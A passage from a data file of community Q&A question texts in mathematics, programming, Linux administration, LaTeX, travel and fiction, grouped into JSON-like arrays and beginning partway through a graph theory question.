E(P_i)$ be the edge with ends $v_i$ and $v_{i+1}$. Let $j$ be chosen minimum so that no cycle in $G$ contains $e$ and $f_j$ We can do this because we know that at least the edge $g$ will not create a cycle by assumption, right?. We will show that $u = v_j$ satisfies the claim. Suppose not. Let $C$ be a cycle containing $e$ and $f_{j−1}$ What if $f_j = e$? then what cycle? a single vertex? and let $P′$ be a path from an end of $e$ to an end of $f$ Not sure what the book meant by $f$ here, any guesses? avoiding $u$. Choose a subpath $Q$ of $P′$ with one end in $V (C)$ and another in ${v_{j+1}, v_{j+2}, . . . , v_k}$ as short as possible. Then $C \\cup Q \\cup P$ contains a cycle containing both $e$ and $f_j$, a contradiction. (The last statement requires some case checking.) This ending seems a bit abrupt and non-obvious to me Thanks for the help", "Ball swung in a horizontal circle, can the string ever by exactly horizontal to the ground? You swing a ball on the end of a lightweight string in a horizontal circle at constant speed. Can the string ever by truly horizontal? If not, would it slope above the horizontal or below the horizontal? Why?", "What is the fastest way to get from Courmayeur/Aosta to Milan? We will be crossing the Italian/French border through Mont Blanc via cable cars, which we heard through Rick Steve's article: . We will be starting off in Chamonix and arriving in Courmayeur. What's the fastest (and relatively cost-effective) way to get to Milan from Courmayeur?", "Why did Terence Tao write Proposition 2.1.11 about mathematical induction in \"Analysis I\"?", "I'm writing an application that allows users to upload images onto the server. I expect about 20 images per day all jpeg and probably not edited/resized. (This is another question, how to resize the images on the server side before storing. Maybe someone can please drop a .NET resource for that in the comment or so). I wonder now what the best place for storing uploaded images is. Store the images as a file in the file system and create a record in a table with the exact path to that image. Or, store the image itself in a table using an \"image\" or \"binary data\" data type of the database server. I see advantages and disadvantages in both. I like a) because I can easily relocate the files and just have to change the table entry. On the other hand I don't like storing business data on the web server and I don't really want to connect the web server to any other datasource that holds business data (for security reasons) I like b) because all the information is in one place and easily accessible by a query. On the other hand the database will get very big very soon. Outsourcing that data could be more difficult.", "I am writing a client-side Swing application (graphical font designer) on Java 5. Recently, I am running into java.lang.OutOfMemoryError: Java heap space error because I am not being conservative on memory usage. The user can open unlimited number of files, and the program keeps the opened objects in the memory. After a quick research I found and others saying on Windows machine the JVM defaults max heap size as 64MB. Given this situation, how should I deal with this constraint? I could increase the max heap size using command line option to java, but that would require figuring out available RAM and writing some launching program or script. Besides, increasing to some finite max does not ultimately get rid of the issue. I could rewrite some of my code to persist objects to file system frequently (using database is the same thing) to free up the memory. It could work, but it's probably a lot work too. If you could point me to details of above ideas or some alternatives like automatic virtual memory, extending heap size dynamically, that will be great.", "Can't unhide objects", "PATH variable resets with reboot Just as the title indicates my PATH variable resets after every reboot. I read that I have to edit my bashrc file's PATH variable, but I don't have anything there that suggests anything related to the PATH variable.", "Can't redirect cut output", "PHP function substr() error", "I'm interested in Gaussian blur layer that blurring all inside of some figure located on this layer. I mean, blurred background of some exact area. And in case of I move this area, blurred image must be updated. If I move some object in background - blur must be updated. etc.", "For every prime of the form $2^{4n}+1$, 7 is a primitive root.", "I am looking for a way to identify primitives types in a template class definition. I mean, having this class : template<class T> class A{ void doWork(){ if(T isPrimitiveType()) doSomething(); else doSomethingElse(); } private: T *t; }; Is there is any way to \"implement\" isPrimitiveType().", "Google Chrome: Have different settings on different computers?", "Real Analysis - Prove a set is countable I am asked to prove the following question: For each finite set of real numbers, $F$, define $\\sum F$ to be the sum of all the numbers in $F$. For each set $P$ of positive real numbers, define $\\sum P=\\sup\\{\\sum F: F\\text{ is a finite subset of } P\\}$. Suppose $P$ is a set of positive real numbers such that $\\sum P < \\infty$. Prove that $P$ is a countable set. My attempt (just a sketch proof): Suppose $P$ is uncountable, $\\exists \\epsilon_1 > 0$, s.t. $$ P_1 = [\\inf P + \\epsilon_1, \\sup P]\\cap P $$ is uncountable. Pick $a_1 \\in [\\inf P, \\inf P + \\epsilon_1] \\cap P \\in P$, such a $P$ must exists due to greatest lower bound property. Now $P_1$ is uncountable, $\\exists \\epsilon_2 > 0$, s.t. $$ P_2 = [\\inf P_1 + \\epsilon_2, \\sup P_1]\\cap P_1 $$ is uncountable. Pick $a_2 \\in [\\inf P_1, \\inf P_1 + \\epsilon_2]\\cap P_1 \\in P$. Carry on this process (this should be formalized using induction), we can find $$ a_1 \\leq a_2 \\leq a_3 \\leq ... $$ with $a_n > 0$ and $a_n \\in P$ for all $n$. Now $\\sup\\{\\sum F_n: F_n = \\{a_1,...,a_n\\}, n \\in \\mathbb{N}^+\\} = \\lim_{n \\to \\infty}\\sum_{i = 1}^n a_i > \\lim_{n \\to \\infty}na_1 = \\infty$. This means that $\\sum P = \\infty$ since $\\{\\sum F_n: F_n = \\{a_1,...,a_n\\}, n \\in \\mathbb{N}^+\\} \\subset \\{\\sum F: F\\text{ is a finite subset of } P\\}$. I think my proof is a bit clumsy but is it correct?", "Find $\\space\\ \\begin{align*} \\lim_ {x \\to+\\infty} \\left [ \\frac{\\log_{2}(x-1)}{x}\\right] \\end{align*}$. After some minutes around this limit I did it this way: $\\log_{2}(x-1)=y \\Leftrightarrow 2^y=x-1$ So,$\\space x=2^y+1$. When $x \\to +\\infty$,$\\space y \\to +\\infty$ also. By substitution: $\\begin{align*} \\lim_ {y \\to+\\infty} \\left [ \\frac{\\log_{2}(2^y+1-1)}{2^y+1}\\right]=\\lim_ {y \\to+\\infty} \\left [ \\frac{\\log_{2}(2^y)}{2^y+1}\\right]=\\end{align*}$ $\\begin{align*}\\lim_ {y \\to+\\infty} \\left [ \\frac{y}{2^y+1}\\right]=\\lim_ {y \\to+\\infty} \\left [ \\frac{1}{\\frac{2^y+1}{y}} \\right]=\\lim_ {y \\to+\\infty} \\left [ \\frac{1}{\\frac{2^y}{y}+\\frac{1}{y}}\\right]= \\frac{1}{+\\infty+0}=0 \\end{align*}$ Is this correct?Are there any other easy way to find this limit?Thanks" ]

[ "Can a magus with a high BAB cast two spells or attack and cast, with their full attack action? Suppose you are a level 10 Magus or something similar. (Something with a decent BAB progression and spellcasting abilities) When you hit +6/+1, can you cast a spell, then attack, vice-versa, or simply case two spells? Everywhere I look I can't get a clear answer.", "Looking for a Pre-1975, young adult, sci-fi, colored circle dimension crossing Looking for the title and or author of a long ago favorite; I have searched the web for it on and off for years. I read a paperback novel about 40 years ago; it was probably a used book at that time. Probably pre-1975 publication. In my memory it was written in the style of Andre Norton I have looked through her , but I am not finding it. It was a young adult sci-fi novel. Plot; a young woman (gender was not strong, but I remember the main character being female) can see different colored circles floating around. When she looks at them just right, she can jump through to another universe. In the other universe, things change. She might become a lion, or maybe she is carrying a seed that becomes a net in the other universe. Two bad guys are chasing her around the different dimensions, I recall one scene where they are all sliding down an icy slope and she jumps through a portal, to escape the bad guys. There were a lot of complexities about, dimensions, what became what, different colors of portals and such.", "This question is here so we can offer users who are looking for information on how to make one or more common or basic redirects in Apache using the htaccess file. All future questions pertaining to finding information that is that is covered by the question should be closed as a duplication of this question. . Whats the point in this question? The idea while not perfect is catch the most commonly asked questions regarding redirects using the htaccess on the Apache platform either on some type of lamp or a live server. The type of answers should be generally those that you could imagine are used by 100,000’s of sites world-wide and are constantly asked here at Pro Webmasters repeatedly over and over in various forms. A few examples of the type of answers we are looking for: How can I redirect non-www to www? How can I redirect a sub domain to the main domain? How can I redirect a sub folder from domain to a root or a subdomain? How can I redirect an old URL to a new URL? A few examples of the types of answers that we are not looking for: Answers that do not involve a redirect. Any answers relating to NGinx, IIS or any other non-Apache platform. Answers that involve custom and complex string or query removals. Resources for Advanced to Complex Mod_Rewrite Rules: Please note: that this question is still in construction and may need some refining either by myself or a real moderator of Pro Webmasters, if you have any concerns or questions .", "What's the @ in front of a string in C#?", "I want to make a bootable USB thumb drive to install Windows on my computer. I don't want to use my old DVD to create an image and then upgrade to SP1, so I decided to download an untouched .iso file that already has SP1 in it. My question is this, is there a difference between these two files files? en_windows_7_home_premium_with_sp1_x64_dvd_620851.iso vs en_windows_7_home_premium_with_sp1_x64_dvd_u_676549.iso What does dvd_u mean, is it somehow different from plain dvd? Also will these work with my retail Home Premium key or do these work only for thoe with TechNet/MSDN accounts?", "In-universe explanation for single line of planetary entry/departure in Star Wars Why are planetary blockades confined to a single point of a planet instead of being sphere shell shaped around the planet? (I know, it would take an awful lot of spaceships.) Also, when a rebel ship wants to escape from a planet and there is a single star destroyer hovering in the atmosphere (or some more of them further up, like in the Empire Strikes Back) how come it's not a viable maneuver to fly low altitude for a couple of hundred kilometers horizontally (they would be out of the single-point blockade), then make a vertical dash upwards?", "Amy: What day is it today? Tom: It's Monday. Hmm... I like Monday. Amy: What do you have today? Tom: We have math, science and art.What about you? Amy: We have English and P.E. What do you have tomorrow? Tom: We have art and P.E.tomorrow. Amy: Oh, great. I can understand that \"What about you\" means \"What do you have today?\" But I wonder whether \"What about you\" is an elliptical sentence. If it is, what is the full sentence? If it isn't, how to parse this structure?", "Javascript replace all \"%20\" with a space", "How to download all files from Ubuntu One? I just installed Ubuntu 14.04, and Ubuntu One isn't installed by default and their download page says it comes pre installed, which doesn't help with anything. I wanna move all my files from Ubuntu One to Dropbox, but downloading one file at a time from the browser and upload it again to dropbox will take way too long. Is there any way to get Ubuntu One on Ubuntu 14.04? or somehow download all files from the Ubuntu One website? I see they updated their site:", "What does [param: NotNull] mean in C#?", "How to make a meta box field a requirement", "error: requested operation requires superuser privilege", "Why can't this be done with Master Theorem Apparently recurrences like this cannot be solved with the Master Theorem: $T(n) = 2T\\left(\\frac{n}{2}\\right) + \\frac{n}{\\log(n)}$ Because $n^{\\log_b(a)} = n^1$ is not a polynomial multiple of $f(n) = \\frac{n}{\\log(n)}$ since $\\frac{n}{\\frac{n}{\\log(n)}} = \\log(n)$, which is less than $n^\\epsilon$ for any positive $\\epsilon$. But when is this really even an issue? For example why wouldn't the time complexity be $n \\log n$ using case 2 of the Master Theorem? Unrolling the recursion: $$T(n) = n\\sum_{k=1}^{\\log_2(n)} \\frac{1}{\\log_2(2^k)}$$ $$T(n) = n\\sum_{k=1}^{\\log_2(n)} \\frac{1}{k}$$ Doesn't this suggest $\\Theta(n \\log n)$ even though it supposedly cannot be done with Master Theorem?", "In IE 9 you can type in whatever number you want to get the perfect zoom but in Chrome all I see is the + and - in the drop menu. How do I choose a custom zoom and set it as the default?", "Identify the ring $\\mathbb{Z}[x]/(2x)$ Consider the quotient ring $R:=\\mathbb{Z}[x]/(2x)$. Could somebody help me to identify $R$ with some well-known ring? Thank You.", "Hydrogen radial wave function infinity at $r=0$ When trying to solve the Schrödinger equation for hydrogen, one usually splits up the wave function into two parts: $$\\psi(r,\\phi,\\theta)= R(r)Y_{\\ell,m}(\\phi,\\theta).$$ I understand that the radial part usually has a singularity for the $1s$ state at $r=0$ and this is why you remove it by writing: $$R(r) = \\frac{u(r)}{r}$$ But what is the physical meaning of $$R(r=0) = \\infty~?$$ Wouldn't this mean that the electron cloud is only at the centre of the atomic nucleus?", "Is Firefox 57 multithreaded? According to on MDN, Firefox 57 finally runs things in different processes. So is Firefox 57 multithreaded? In particular, how many cores does it use at most? Say I open 20 tabs at once on a quad-core machine, will Firefox 57 launch as many threads, or at least as many as needed to max out my CPU? (Chromium for instance spawns a number of sub-processes and very easily uses all the resources available. Firefox up to 56 in GNU/Linux is rarely seen going over 135 % of one core however many tabs I open.)", "How to move apps from internal to external storage?", "Search results showing questions without the searched for tag in results Recently, I was surfing on stackoverflow.com & I have found one bug in Question filter. I was looking under the java tag and yet I saw questions which were not tagged java The incorrectly shown question was", "How can I download an entire website? How can I download all pages from a website? Any platform is fine." ]

[ "I'm writing a report, in LaTeX. And I need to include, as appendices, other latex documents I have written. I am currently doing this using pdfpages and it works. However, the inserted PDF has no page numbers and it overlays my base documents page numbering, resulting in no page numbers on the PDF pages. My questions: How to solve the above problem. Is there a better way to do this.", "Last months I have lots of referrer spammers in my GA statistics. Their count is ~10x higher than count of legit visitors (my site is not very popular yet). I've turned on an option to hide known spammers in GA settings, but it didn't help at all. It seems these spammers are using scripts to spam directly to GA (i.e. they are not logged in my IIS). Is there anything I can do to stop these spammers? UPD 10 months later, and they started spamming using fake target page names... and Google is still doing nothing about it.", "How do I find (or exclude) all directories and sub-directories matching a certain pattern (in Linux)?", "How to know if my servers should use jumbo frames (MTU)", "Does \"Root A\" follow the fact about Takatsuki and the One-Eyed Owl? In Root A, Takatsuki does seem to be fascinated by Kaneki's name, but, I didn't at all expect her to be the One-Eyed Owl. I just looked her up on the and it says that she is the One Eyed-Owl as well as the horror novelist. Is this true only in the manga or is it also true in Root A?", "TAR 6 GB worth of files into separate 1.9 GB TAR files I have 28,000 files of size 6.7 GB in the directory aaa/input. I need create TAR files in the directory aaa/output, such that each TAR file cannot exceed 1.9 GB, so I have to tar the 28,000 files into 4 TAR files (6.7/1.9) as Log_(current date)_01.tar Log_(current date)_02.tar ... etc. such that each tarball is less than 1.9 GB. Is there a way to do this using a Unix script?", "Let $T(n,x)$ be the nth Chebyshev polynomial of the first kind and let $U(n-1,x)$ the $(n-1)$th Chebyshev polynomial of the second kind. Would any one kindly help show that 1) $n$ is prime iff $T(n,x)$ is irreducible in $\\mathbb{Z}[x]$. 2) $n$ is prime iff $U(n-1,x)$, expressed in powers of $(x^2-1)$, is irreducible in $\\mathbb{Z}[x]$. Many Thanks!! No \"ordering\" is implied here. The wording of the question was done in similar fashion as any question in any math/research question. I do not see how a person who is asking for help would be ordering people to help. Any way back to the topic, For the first part of the question, I noticed that if n is prime, then T(n,x) satisfies Eisenstein's Irreducibility Criterion. But I am not sure how to show if T(n,x) is irreducible then n is prime.", "What is a StackOverflowError?", "If $a$ and $b$ are two roots of $x^4 + x^3 - 1 = 0$ prove that $ab$ is a root of $x^6 + x^4 + x^3 - x^2 - 1$.", "I've tried several things already, std::stringstream m; m.empty(); m.clear(); both of which don't work.", "Whenever I startup from the LinuxLive USB, and try to install Ubuntu 12.04, it only gives me two options instead of the usual 3 or 4. My options are \"Replace Windows 7 with Ubuntu\" and \"Something Else\". Whenever I go into \"Something else\", it looks extremely confusing. How do I install it side-by-side while using the \"Something else\" section? These are my partitions. /dev/sda /dev/sda1 ntfs (104Mb, System Required Partition) /dev/sda2 ntfs (1000097Mb, Windows 7 Partition) Or should I try reinstalling my installer on a CD rather than USB and maybe then it will have the \"Install alongside\" function?", "Do greenhouse gasses make the world habitable? An ageing gent says he does not accept this statement: It's a fact that greenhouse gases, predominantly water vapour, keep the Earth from being hostile and cold; that CO2 albeit in trace quantities is also a greenhouse gas and therefore helps keep the planet warm... I know no more about why he rejects this statement - maybe it is that water vapour alone would do the job. The gent in question has a first class degree and a doctorate in physics. Is there a debate within the physics community over this or am I misunderstanding?", "How do you change the size of figures drawn with Matplotlib? How do you change the size of figure drawn with Matplotlib?", "Why Listen to Music, why not Listening Music", "Getting polygon boundaries of City in JSON from Google Maps API? When searching Google Maps for a city, the city's administrative boundary is displayed. Is there a way to get the polygon boundaries of City in a JSON format using google maps api?", "Duplicate application icons in Ubuntu dock upon launch", "Explanation of Spikes in training loss vs. iterations with Adam Optimizer I am training a neural network using i) SGD and ii) Adam Optimizer. When using normal SGD, I get a smooth training loss vs. iteration curve as seen below (the red one). However, when I used the Adam Optimizer, the training loss curve has some spikes. What's the explanation of these spikes? Model Details: 14 input nodes -> 2 hidden layers (100 -> 40 units) -> 4 output units I am using default parameters for Adam beta_1 = 0.9, beta_2 = 0.999, epsilon = 1e-8 and a batch_size = 32. i) With SGD ii) With Adam", "Does this polynomial evaluate to prime number whenever $x$ is a natural number?", "Must an uncountable subset of R have uncountably many accumulation points?", "In a about formatting a double[][] to CSV format, that using StringBuilder would be faster than String.Join. Is this true?" ]

[ "NOTE: I am not interested in calling /secur/logout.jsp since it ends all the active salesforce sessions. I am developing a web application that is registered on salesforce as a connected app, so I am using salesforce credentials to authorize the user. Application is developed in REST API and the communication with salesforce is happening in restful manner. Auth url: Authorization: Method 1: If there is no salesforce session active, The user is taken to salesforce login page, where he enters his salesforce details to be authorized and after which he is taken to home page of my web application. Method 2: If there is already a salesforce session active in another tab, the user is directly authorized and is taken to home page of my web application. Now I am trying to implement logout button for my application, such that the following scenarios are covered, Scene 1: The user is authorized using method1, and the user press the logout. Upon trying to logback the user is prompted for credentials. Scene 2: The user is authorized using method2, and the user should use logout to logout of the web application (not from active sessions). Upon login, the user should be again able to login using method2. Can someone help me on how to implement the logout button such that it covers scenario 1 & 2. Thanks in advance.", "Determining the dimension of span$\\{AB-BA : A,B \\in M_{n \\times n}(\\mathbb R) \\}$ Let $S$ be the subspace , of $M_{n \\times n}(\\mathbb R)$ (the vector space of all $n \\times n$ real matrices ) , generated by matrices of the form $AB-BA$ , where $A,B \\in M_{n \\times n}(\\mathbb R)$ , then how do we prove that $\\dim S=n^2-1$ ? The only thing that I can determine is that the trace of all matrices of $S$ is $0$ . Please help", "Is it a good practice to refer to countries, ships etc using the feminine form?", "List all my drafts In GMAIL you can list all your boss-tell-off and wife-cuss-out emails by clicking Drafts I'd like to see my started-but-never-finished responses, possibly between x Answers and y Votes in /<<user>>/Stats/?", "Seeking Postcode Shapefiles for UK?", "Identify cartoon about a set of fairy/demon twins in a far future where the demon uses propaganda to take over the world I'm looking for a cartoon from the 70's (I believe) which is about a set of twins; one plump \"fairy\" and a skeletal \"demon\". The \"fairy\" has magic powers and ends up living a life of pleasure, while the \"demon\" flees and turns evil. When the \"demon\" finds his new weapon in the ruins of the ancient world (roughly modern day) he plots to enslave the world; the weapon in question is a set of propaganda movies with Adolf Hitler.", "What does standard deviation tell us in non-normal distribution In a normal distribution, the imparts standard deviation a lot of meaning, but what would standard deviation mean in a non-normal distribution (multimodal or skewed)? Would all data values still fall within 3 standard deviations? Do we have rules like the 68-95-99.7 one for non-normal distributions?", "How to access the road graph plugin in python? I am developing a few scripts in Python for QGIS 1.8 to automate some geo-tasks and one of them would be to calculate the shortest distance from a hospital to each building in a town. I would like to take advantage of the already existing Qgis plugin but, as it is a C++ plugin, I am not sure whether it is possible to access it from Python? Is there a binding or a trick for that? If not, any further advice would be appreciated! As the base data is OpenStreetMap data stored in a PostGIS DB, I may also try with pgRouting. But the QGIS plugin would be my favourite choice if possible. PS: this question is close to this one: but I believe it's still different enough to be worth a new thred.", "Is there any way to shorten URL in SMS in Marketing Cloud? I am trying to schedule an SMS in the journey to the subscribers who did not open their email. I want to redirect the subscribers to their hosted email page. I am using the below code to populate hosted email link in email. %%=RedirectTo(CloudPagesURL(383,'Id',@Id))=%% In the message, it's showing up. How can I shorten this URL?", "I've known that one can arrange all the numbers from $1$ to $\\color{red}{15}$ in a row such that the sum of every two adjacent numbers is a perfect square. $$8,1,15,10,6,3,13,12,4,5,11,14,2,7,9$$ Also, a few days ago, a friend of mine taught me that one can arrange all the numbers from $1$ to $\\color{red}{305}$ in a row such that the sum of every two adjacent numbers is a perfect cube. $$256,87,129, 214, 298, 45, 171, 172, 44, 299, 213, 130, 86, 257, 255,$$ $$88, 128, 215, 297, 46, 170, 173, 43, 300, 212, 131, 85, 258, 254, 89, 127, 216, 296,$$ $$ 47, 169, 174, 42, 301, 211, 132, 84, 259, 253, 90, 126, 217, 295, 48, 168, 175, 41, 302, $$ $$210, 133, 83, 260, 252, 91, 125, 218, 294, 49, 167, 176, 40, 303, 209, 134, 82, 261, 251,$$ $$ 92, 33, 183, 160, 56, 287, 225, 118, 98, 245, 267, 76, 140, 203, 13, 14, 202, 141, 75, 268,$$ $$ 244, 99, 26, 190, 153, 63, 280, 232, 111, 105, 238, 274, 69, 147, 196, 20, 7, 1, 124, 219,$$ $$ 293, 50, 166, 177, 39, 304, 208, 135, 81, 262, 250, 93, 32, 184, 159, 57, 286, 226, 117, 8,$$ $$ 19, 197, 146, 70, 273, 239, 104, 112, 231, 281, 62, 154, 189, 27, 37, 179, 164, 52, 291, 221,$$ $$ 122, 3, 5, 22, 194, 149, 67, 276, 236, 107, 109, 234, 278, 65, 151, 192, 24, 101, 242, 270,$$ $$ 73, 143, 200, 16, 11, 205, 138, 78, 265, 247, 96, 120, 223, 289, 54, 162, 181, 35, 29, 187,$$ $$156, 60, 283, 229, 114, 102, 241, 271, 72, 144, 199, 17, 108, 235, 277, 66, 150, 193, 23,$$ $$ 4, 121, 222, 290, 53, 163, 180, 36, 28, 188, 155, 61, 282, 230, 113, 103, 240, 272, 71, 145,$$ $$ 198, 18, 9, 116, 227, 285, 58, 158, 185, 31, 94, 249, 263, 80, 136, 207, 305, 38, 178, 165,$$ $$ 51, 292, 220, 123, 2, 6, 21, 195, 148, 68, 275, 237, 106, 110, 233, 279, 64, 152, 191, 25,$$ $$100, 243, 269, 74, 142, 201, 15, 12, 204, 139, 77, 266, 246, 97, 119, 224, 288, 55, 161,$$ $$ 182, 34, 30, 186, 157, 59, 284, 228, 115, 10, 206, 137, 79, 264, 248, 95$$ Here, I have a question. Question : Does there exist at least one positive integer $n\\ge 2$ satisfying the following condition for each $N\\ge 2\\in\\mathbb N$? Condition : One can arrange all the numbers from $1$ to $n$ in a row such that the sum of every two adjacent numbers is of the form $m^N$ for some $m\\in\\mathbb N$. Added : I crossposted to .", "The primitive types (number, string, etc.) are passed by value, but objects are unknown, because they can be both passed-by-value (in case we consider that a variable holding an object is in fact a reference to the object) and passed-by-reference (when we consider that the variable to the object holds the object itself). Although it doesn't really matter at the end, I want to know what is the correct way to present the arguments passing conventions. Is there an excerpt from JavaScript specification, which defines what should be the semantics regarding this?", "Progressive Draw 2 and Draw 4 Uno When playing with progressive Draw 2 and Draw 4 and (say that there are 2 players playing) and Player 1 goes out with a Draw 2 Player 2 puts down a Draw 2 Does player 1 have to pick up 4 cards?", "Why is absolute value function not a polynomial? I need a clear answer to this question please,? Why couldn't we consider absolute value function as a polynomial?", "Can I just change straightforward wheel axles to QR skewers?", "C programming: How to program for Unicode?", "Is it possible to cross the Wagan border by car? I was planning a trip by car when I found something a bit weird in :if you try to cross from Lahore to India, it tells that you have to 6457 km detour. Is it possible to cross this border driving? If not, is there another way to cross without having to make more than 6000 km?", "How to insert HTML to PHP DOMNode?", "Shell command to sum integers, one per line? I am looking for a command that will accept (as input) multiple lines of text, each line containing a single integer, and output the sum of these integers. As a bit of background, I have a log file which includes timing measurements. Through grepping for the relevant lines and a bit of sed reformatting I can list all of the timings in that file. I would like to work out the total. I can pipe this intermediate output to any command in order to do the final sum. I have always used expr in the past, but unless it runs in RPN mode I do not think it is going to cope with this (and even then it would be tricky). How can I get the summation of integers?", "Naive visualization of space-time curvature", "After upgrading from 10.04 to 12.04 I am trying to install different packages. For instance ia32-libs and skype (4.0). When trying to install these, I am getting the 'Unable to correct problems, you have held broken packages' error message. Output of commands: sudo apt-get install -f Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. After running this: sudo dpkg --configure -a foo@foo:~$ sudo apt-get install -f Reading package lists... Done Building dependency tree Reading state information... Done 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded." ]

[ "How can I take a screenshot with Selenium WebDriver?", "Is multiplication not just repeated addition? If multiplication is not repeated addition, what is it? How do you define multiplication? All of us had to memorize the multiplication table in elementary school, but how did they come up with it if so many people claim that it is wrong to think of it as repeated addition? Voodoo magic?", "What can I do to manage my phone's internal storage?", "Relation bewteen Hessian Matrix and Curvature According to , It describes the local curvature of a function. AFAIK, for one-variable function $f(x)$, its local curvature is $$\\kappa = \\frac{|f''|}{(1 + f'^2)^{3/2}},$$ and its Hessian matrix is $$\\mathcal{Hess}(f) = [f''],$$ right? And here is my problem, I think the local curvature is not just described by its Hessian matrix, because $f'$ also has its role in it, doesn't it? And furthermore, for 2-variable function $f(x,y)$, its Hessian matrix is $$\\mathcal{Hess}(f) = \\left[ \\begin{array}{cc} f_{xx}'' & f_{xy}'' \\\\ f_{xy}'' & f_{yy}'' \\end{array} \\right].$$ How does it relate to the local curvature of $f(x,y)$?", "I have several entries in my list of references that include of the order of 40 authors. Is there a way to make bibtex automatically reduce these lists to e.g. the first name + \"et al.\"? I don't want to edit the BibTeX entries manually and I cannot use biblatex. If at all possible I would also make as little changes as possible to the bibliography style. There are similar questions, but none of those had a concise answer: natbib e.g. seems to change only the reference within the text, but not the entry in the bibliography. EDIT: I am using \\bibliographystyle{unsrt} as style definition.", "Unable to install LanguageTool 2.5 extension for LibreOffice 4.2 on Ubuntu 14.04 I am not able to install LanguageTool extension for LibreOffice. Getting exception when I try to install it. p.s. Somebody says that the solution is installing openoffice.org-java-common package but Ubuntu 14.04 does not have this package in its repository. System details: OS: Ubuntu 14.04 LTS LibreOffice: 4.2 (4.2.3.3) LanguageTool: 2.5 Java: Oracle JDK 1.8.0_05 Exception message:", "Why is cpu_idle called as the last function of the start_kernel routine? I'm reading the function in /init/main.c. The last function called in start_kernel is rest_init, and at the end of rest_init, cpu_idle is called. Why is it called as the last function of the start_kernel routine, and what does it do?", "What is the purpose of the word 'self'?", "Deleted Ubuntu 20 alongside windows 10 and unable to install again", "Why WordPress choose data serialization over json_encode? In my little age with WordPress, I've seen WordPress itself and its friendly plugins are using PHP serialize() in storing data into db in many cases. But in a recent search I found a serious community support for the json_encode() over the serialize(). And I personally tested an associative array with both of 'em, that shows: serialize() stores 342 chars json_encode() stores 285 chars Why I'm asking this? I'm on a project while I'm going to store repeating meta fields to a post. Where: Data would be basically in English, but sometimes can be Bengali Data would be associative array, 3 level deep (I hope I understood levels correctly): array( 1 => array( 'key'=>'value', 'key2'=>'value' ), 2 => array( 'key'=>'value', 'key2'=>'value' ) ) I've checked the postmeta table's meta_value field it's a longtext, a length of 4,294,967,295 chars (4GB). So I need a robust solution into storing things.", "Combinatorial proof of $\\sum^{n}_{i=1}\\binom{n}{i}i=n2^{n-1}$.", "What is the best way to get a sine wave from a square wave?", "Why does .NET use banker's rounding as default? According to the documentation, the method uses a round-to-even algorithm which is not common for most applications. So I always end up writing a custom function to do the more natural round-half-up algorithm: public static decimal RoundHalfUp(this decimal d, int decimals) { if (decimals < 0) { throw new ArgumentException(\"The decimals must be non-negative\", \"decimals\"); } decimal multiplier = (decimal)Math.Pow(10, decimals); decimal number = d * multiplier; if (decimal.Truncate(number) < number) { number += 0.5m; } return decimal.Round(number) / multiplier; } Does anybody know the reason behind this framework design decision? Is there any built-in implementation of the round-half-up algorithm into the framework? Or maybe some unmanaged Windows API? It could be misleading for beginners that simply write decimal.Round(2.5m, 0) expecting 3 as a result but getting 2 instead.", "Value of $\\frac{x^n -a^n}{ x-a}$?", "We have a view for a type of node that includes a Private File. We cannot see a way to add an exposed filter, such as \"Contains any word\", and have it filter based on the file's name. Are we missing something obvious?", "Suppress black box at end of line Under TeX, when I write a line too long, it prints a fat black box at the end of the line. That is probably a feature, but I dislike it. How to turn that OFF? Is there a command-line option or something else? I usually use LaTeX, but I have a complicated file which happens to be plain TeX.", "How do Horcruxes work? A few questions regarding the Horcruxes. Had Voldemort actually succeeded in using a Horcrux, would he come back the same age (biologically and/or aesthetically) he was when he made the Horcrux, or the age he would biologically be if he had never died (half died)? If Harry was a Horcrux, then in the graveyard, when Wormtail added Harry's blood to the potion to bring Voldemort back, didn't that technically use up the Horcrux inside of Harry? So in Deathly Hallows when Voldemort kills Harry, shouldn't Harry have actually died rather than just have the Horcrux inside him destroyed, seeing as it was technically used in the Goblet of Fire?", "Number of non-isomorphic groups of order 21", "Why are American-style options worth more than European-style options? Why are American-style options worth more than European-style options? I realize I can exercise American-style options anytime before the expire, but I can only exercise European-style options during their \"exercise period\" (usually right when they expire, but no earlier). So it makes sense that an American option is worth at least as much as a European option. But why is it worth more? If I exercise my American option early, I may make more money than waiting until expiration, but I also may make less. Mathematically, there's no advantage, since I'm equally likely to make as much money by waiting for expiration. Mathematically speaking, is there ever a good reason to exercise an American option early? I realize people don't always behave logically, but even the formulas that valuate options show that American options are worth more. EDIT (answering comments): Many of the comments people made would apply to lookback options (), but not to American options. American options can do everything European options can and more. I understand that, and that means American options can't be worth any LESS than European options, but I'm still not clear on how you would mathematically calculate this extra value. @Aaronaught: \"The difference between an American and European option is the difference between getting N chances to get it right (N being the number of days 'til expiration) and getting just one chance. It should be easy to see why you're more likely to profit with the former, even if you can't accurately predict price movement.\" REPLY: I don't think you really get N chances. Once you exercise the option, that's it, no more chances. And, if you decide not to exercise the option today, and the underlying's price falls, you can't go back in time and exercise it yesterday. @jdsweet: Think of it this way, if you traveled back through time one month - with perfect knowledge of AAPL's stock price over that period - which happens to peak viciously then return to its old price at the end of the period - wouldn't you pay more for an American option? REPLY: Well, no. I'd simply buy a cheaper European option that expires right at the spike. Or, I'd buy a European option that expires later, and sell it when the spike occurs. American options don't give you precognition, so you're still guessing as to when to sell/exercise. @jdsweet: \"one of the more common reasons people exercise (as opposed to sell) an American option before expiration is if an unexpected dividend (larger than remaining time value of the option) was just announced that's going to be paid before the option contract expires\" REPLY: This makes sense. I'm actually trading FOREX options, so there is no dividend. In that scenario, are European and American options worth the same?", "How can I set Excel to always import all columns of CSV files as Text? Though I try to avoid it, I occasionally have to open a CSV file in Excel. When I do, it formats columns containing numbers, which makes them useless for my purposes. As far as I can tell, the only way to prevent this from happening on import is to rename the file so the extension isn't .csv and use the import wizard to specify the format of each column individually. For files with 50-60 columns, this is impractical. Since every answer for this oft-asked question on the internet suggests either some means of converting the formatted numbers back once the file is open (which won't work for me - I want to solve the general problem, not a few specific cases) or manually selecting the format type of each column (which I don't want to do), I'm looking for a way to set a global preference or style such that all columns of all CSV files opened are always formatted as text. I know about \"armoring\" the numbers with quotes, too, but the files I get don't come like that and I was hoping to avoid having to pre-process the files so Excel doesn't screw them up. Is there a way to do specifically this: Always format all columns in opened CSV files as text, without manually selecting each column every time during import? I'm using Excel 2003, but I'll take answers for 2007 if that's what you know." ]

